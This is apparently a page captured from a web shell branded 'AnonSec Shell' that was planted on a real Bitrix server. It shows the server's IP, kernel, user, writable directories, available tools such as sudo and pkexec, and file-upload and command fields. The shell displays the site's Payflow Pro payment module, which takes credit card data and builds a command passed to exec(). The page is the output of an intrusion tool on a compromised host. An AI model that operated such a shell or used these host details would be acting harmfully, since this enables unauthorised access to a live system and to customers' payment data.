AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.221.255.104
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sale/payment/payflow_pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sale/payment/payflow_pro/action.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();?><?
// Input:
// $SALE_INPUT_PARAMS - Array of payment parameters
// $INPUT_CARD_TYPE - Type of credit card
// $INPUT_CARD_NUM - Number of credit card
// $INPUT_CARD_EXP_MONTH - Expiration month of credit card
// $INPUT_CARD_EXP_YEAR - Expiration year of credit card
// $INPUT_CARD_CODE - CVC2 of credit card
// $INPUT_SUM - Payment sum
// $INPUT_CURRENCY - Currency of payment sum

// Output:
// $OUTPUT_ERROR_MESSAGE - Error message
// $OUTPUT_STATUS - Payment status
//	$OUTPUT_STATUS_CODE - Payment status code
//	$OUTPUT_STATUS_DESCRIPTION - Payment status description
//	$OUTPUT_STATUS_MESSAGE - Payment system message
//	$OUTPUT_SUM - Paid sum
//	$OUTPUT_CURRENCY - Currency of paid sum
//	$OUTPUT_RESPONSE_DATE - Date

include(dirname(__FILE__)."/common.php");

$strErrorMessage = "";

$PF_HOST = CSalePaySystemAction::GetParamValue("PAYFLOW_URL");
$PF_PORT = CSalePaySystemAction::GetParamValue("PAYFLOW_PORT");
$PF_USER = CSalePaySystemAction::GetParamValue("PAYFLOW_USER");
$PF_PWD = CSalePaySystemAction::GetParamValue("PAYFLOW_PASSWORD");
$PF_PARTNER = CSalePaySystemAction::GetParamValue("PAYFLOW_PARTNER");
$strExePath = CSalePaySystemAction::GetParamValue("PAYFLOW_EXE_PATH");
$PFPRO_CERT_PATH = CSalePaySystemAction::GetParamValue("PAYFLOW_CERT_PATH");

$ORDER_ID = IntVal($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["ID"]);

$INPUT_CARD_NUM = Trim($INPUT_CARD_NUM);
if (!isset($INPUT_CARD_NUM) || strlen($INPUT_CARD_NUM) <= 0)
	$strErrorMessage .= "Please enter valid credit card number".". ";

$INPUT_CARD_NUM = preg_replace("/[\D]+/", "", $INPUT_CARD_NUM);
if (strlen($INPUT_CARD_NUM) <= 0)
	$strErrorMessage .= "Please enter valid credit card number".". ";

$INPUT_CARD_CODE = Trim($INPUT_CARD_CODE);
if (!isset($INPUT_CARD_CODE) || strlen($INPUT_CARD_CODE) <= 0)
	$strErrorMessage .= "Please enter valid credit card CVC2".". ";

$INPUT_CARD_EXP_MONTH = IntVal($INPUT_CARD_EXP_MONTH);
if ($INPUT_CARD_EXP_MONTH < 1 || $INPUT_CARD_EXP_MONTH > 12)
	$strErrorMessage .= "Please enter valid credit card expiration month".". ";
elseif (strlen($INPUT_CARD_EXP_MONTH) < 2)
	$INPUT_CARD_EXP_MONTH = "0".$INPUT_CARD_EXP_MONTH;

$INPUT_CARD_EXP_YEAR = IntVal($INPUT_CARD_EXP_YEAR);
if ($INPUT_CARD_EXP_YEAR < 2005 || $INPUT_CARD_EXP_YEAR > 2099)
	$strErrorMessage .= "Please enter valid credit card expiration year".". ";
else
	$INPUT_CARD_EXP_YEAR = IntVal($INPUT_CARD_EXP_YEAR - 2000);

$INPUT_SUM = str_replace(",", ".", $INPUT_SUM);
$INPUT_SUM = DoubleVal($INPUT_SUM);
if ($INPUT_SUM <= 0)
	$strErrorMessage .= "Please enter valid sum. ";

$INPUT_CURRENCY = Trim($INPUT_CURRENCY);
if (strlen($INPUT_CURRENCY) <= 0)
	$strErrorMessage .= "Please enter valid currency. ";

$OUTPUT_ERROR_MESSAGE = $strErrorMessage;

if (strlen($strErrorMessage) <= 0)
{
	$ret_var = "";

	if ($INPUT_CURRENCY != "USD")
	{
		$INPUT_SUM = CCurrencyRates::ConvertCurrency($INPUT_SUM, $INPUT_CURRENCY, "USD");

		$additor = 1;
		for ($i = 0; $i < SALE_VALUE_PRECISION; $i++)
			$additor = $additor / 10;

		$INPUT_SUM_tmp = round($INPUT_SUM, SALE_VALUE_PRECISION);
		while ($INPUT_SUM_tmp < $INPUT_SUM)
			$INPUT_SUM_tmp = round($INPUT_SUM_tmp + $additor, SALE_VALUE_PRECISION);

		$INPUT_SUM = $INPUT_SUM_tmp;
	}

	$parms  = "ACCT=".urlencode($INPUT_CARD_NUM);	// Credit card number
	$parms .= "&CVV2=".urlencode($INPUT_CARD_CODE);		// CVV2
	$parms .= "&AMT=".urlencode($INPUT_SUM);						// Amount (US Dollars)
	$parms .= "&EXPDATE=".urlencode($INPUT_CARD_EXP_MONTH.$INPUT_CARD_EXP_YEAR);			// Expiration date
	$parms .= "&PARTNER=".urlencode($PF_PARTNER);		// Partner
	$parms .= "&PWD=".urlencode($PF_PWD);					// Password
	$parms .= "&TENDER=C";						// ...
	$parms .= "&TRXTYPE=S";						// Kind of transaction: Sale
	$parms .= "&USER=".urlencode($PF_USER);				// Login ID
	$parms .= "&VENDOR=".urlencode($PF_USER);			// Vendor ID
	$parms .= "&COMMENT1=".urlencode($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["ID"]);
	$parms .= "&COMMENT2=".urlencode($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["DATE_INSERT"]);

	$ret_com = "$strExePath $PF_HOST $PF_PORT \"$parms\" 30";

	putenv("PFPRO_CERT_PATH=".$PFPRO_CERT_PATH);

	exec($ret_com, $arOutput, $ret_var);

	$strOutput = $arOutput[0];
	parse_str($strOutput, $arResult);

	if (is_array($arResult) && strlen($arResult["RESULT"])>0)
	{
		$OUTPUT_STATUS = (($arResult["RESULT"] == 0) ? "Y" : "N");
		$OUTPUT_STATUS_CODE = $arResult["RESULT"];
		$OUTPUT_STATUS_DESCRIPTION = $arResult["RESPMSG"]." - ".$arResult["PREFPSMSG"];
		$OUTPUT_STATUS_MESSAGE = $arResult["PNREF"];
		$OUTPUT_SUM = $INPUT_SUM;
		$OUTPUT_CURRENCY = "USD";
		$OUTPUT_RESPONSE_DATE = Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", SITE_ID)));

		$arResult["RESULT"] = IntVal($arResult["RESULT"]);
		if ($arResult["RESULT"] != 0)
		{
			if ($arResult["RESULT"] < 0)
				$OUTPUT_STATUS_MESSAGE .= "Communication Error: [".$arResult["RESULT"]."] ".$arResult["RESPMSG"]." - ".$arResult["PREFPSMSG"].". ";
			elseif ($arPaySysRes_tmp["RESULT"] == 125)
				$OUTPUT_STATUS_MESSAGE .= "Your payment is declined by Fraud Service. Please contact us to make payment".". ";
			elseif ($arResult["RESULT"] == 126)
				$OUTPUT_STATUS_MESSAGE .= "Your payment is under review by Fraud Service. We contact you in 48 hours to get more specific information".". ";
			elseif (is_set($arErrorCodes, $arResult["RESULT"]))
				$OUTPUT_STATUS_MESSAGE .= $arErrorCodes[$arResult["RESULT"]].". ";
			else
				$OUTPUT_STATUS_MESSAGE .= "Unknown error".". ";
		}
	}
	else
		$OUTPUT_STATUS_MESSAGE .= "Response error".". ";

/*

	$OUTPUT_STATUS = "Y";
	$OUTPUT_STATUS_CODE = "44FRT";
	$OUTPUT_STATUS_DESCRIPTION = "Good test";
	$OUTPUT_STATUS_MESSAGE = "Yes";
	$OUTPUT_SUM = $INPUT_SUM;
	$OUTPUT_CURRENCY = "USD";
	$OUTPUT_RESPONSE_DATE = Date(CDatabase::DateFormatToPHP(CLang::GetDateFormat("FULL", SITE_ID)));
	$OUTPUT_STATUS_MESSAGE = "";
*/
}
?>

Anon7 - 2022
AnonSec Team